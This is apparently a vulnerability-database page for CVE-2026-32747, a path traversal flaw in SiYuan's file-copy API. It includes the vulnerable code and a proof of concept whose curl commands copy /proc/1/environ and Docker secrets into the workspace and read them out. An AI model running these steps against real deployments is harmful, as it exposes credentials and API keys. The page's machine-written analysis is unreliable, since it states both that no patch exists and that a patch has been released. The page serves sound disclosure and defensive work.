Docker
CVE-2026-32747
MEDIUM
Severity by source
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
POST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.
Details
File: kernel/api/file.go - function globalCopyFiles
for i, src := range srcs {
absSrc, _ := filepath.Abs(src) // not restricted to workspace
if util.IsSensitivePath(absSrc) { // blocklist is incomplete
return
}
srcs[i] = absSrc
}
destDir := filepath.Join(util.WorkspaceDir, destDir)
for _, src := range srcs {
dest := filepath.Join(destDir, filepath.Base(src))
filelock.Copy(src, dest) // copies unchecked sensitive file into workspace
}IsSensitivePath blocklist (kernel/util/path.go):
prefixes := []string{"/etc/ssh", "/root", "/etc", "/var/lib/", "/."}Not blocked - exploitable targets:
| Path | Contains |
|---|---|
/proc/1/environ | All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY |
/run/secrets/* | Docker Swarm / Compose injected secrets |
/home/siyuan/.aws/credentials | AWS credentials (non-root user) |
/home/siyuan/.ssh/id_rsa | SSH private key (non-root user) |
/tmp/ | Temporary files including tokens |
PoC
Environment:
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123Exploit:
TOKEN="YOUR_ADMIN_TOKEN"
# Step 1: Copy /proc/1/environ (process env vars) into workspace assets
curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"srcs":["/proc/1/environ"],"destDir":"data/assets/"}'
# Step 2: Read the copied file via standard API
curl -s -X POST http://localhost:6806/api/file/getFile \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"path":"/data/assets/environ"}' | tr '\0' '\n'
# Output: HOSTNAME=abc\nPATH=/usr/local/sbin:...\nDATABASE_URL=postgres://...\nAPI_KEY=sk-...Docker secrets:
# Copy all Docker-injected secrets
curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"srcs":["/run/secrets/db_password","/run/secrets/api_token"],"destDir":"data/assets/"}'Impact
An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.
AnalysisAI
Administrative users of Docker and PostgreSQL deployments can exploit an incomplete path validation in the POST /api/file/globalCopyFiles endpoint to copy sensitive files like container environment variables and Docker secrets from restricted locations (/proc/, /run/secrets/) into the workspace, where they become readable via standard file APIs. The vulnerability stems from reliance on a blocklist-based validation mechanism that fails to prevent access to these critical system paths. Since no patch is currently available, organizations should restrict administrative access to the affected API endpoint until an update is released.
Technical ContextAI
The vulnerability exists in the Go-based SiYuan kernel (pkg:go/github.com_siyuan-note_siyuan_kernel) at the globalCopyFiles function in kernel/api/file.go. The code uses filepath.Abs() to resolve source file paths without enforcing workspace boundary restrictions, then applies a blocklist-based security check via util.IsSensitivePath(). This represents a CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) flaw. The blocklist in kernel/util/path.go only blocks /etc/ssh, /root, /etc, /var/lib/, and paths starting with /. — notably omitting /proc/ (containing process environment variables), /run/secrets/ (Docker Swarm and Compose injected credentials), and home directory dotfiles like ~/.aws/credentials or ~/.ssh/id_rsa. After the insufficient validation, filelock.Copy() copies the unchecked file into the workspace's data/assets/ directory, where it becomes accessible via the standard file read API.
RemediationAI
Apply the security patch released for SiYuan immediately by upgrading to the patched version specified in the GitHub advisory (GHSA-h5vh-m7fg-w5h6 at https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h5vh-m7fg-w5h6). The patch must implement a whitelist-based approach to file access, restricting the globalCopyFiles endpoint to only copy files from within the designated workspace directory, and should expand the blocklist to include /proc/, /run/secrets/, and user home directories (particularly .aws/, .ssh/, and other dotfile directories). Until patching is available, operators should immediately restrict network access to the SiYuan API to trusted administrator accounts only, disable the globalCopyFiles endpoint if not required, and avoid running SiYuan with environment variables or Docker secrets that contain sensitive credentials — instead using external secret management systems with restricted read access. Consider enforcing role-based access control to limit the number of users with administrator privileges in SiYuan deployments.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve
Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allVendor StatusVendor
SUSE
Severity: Medium| Product | Status |
|---|---|
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| openSUSE Leap 15.5 | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-h5vh-m7fg-w5h6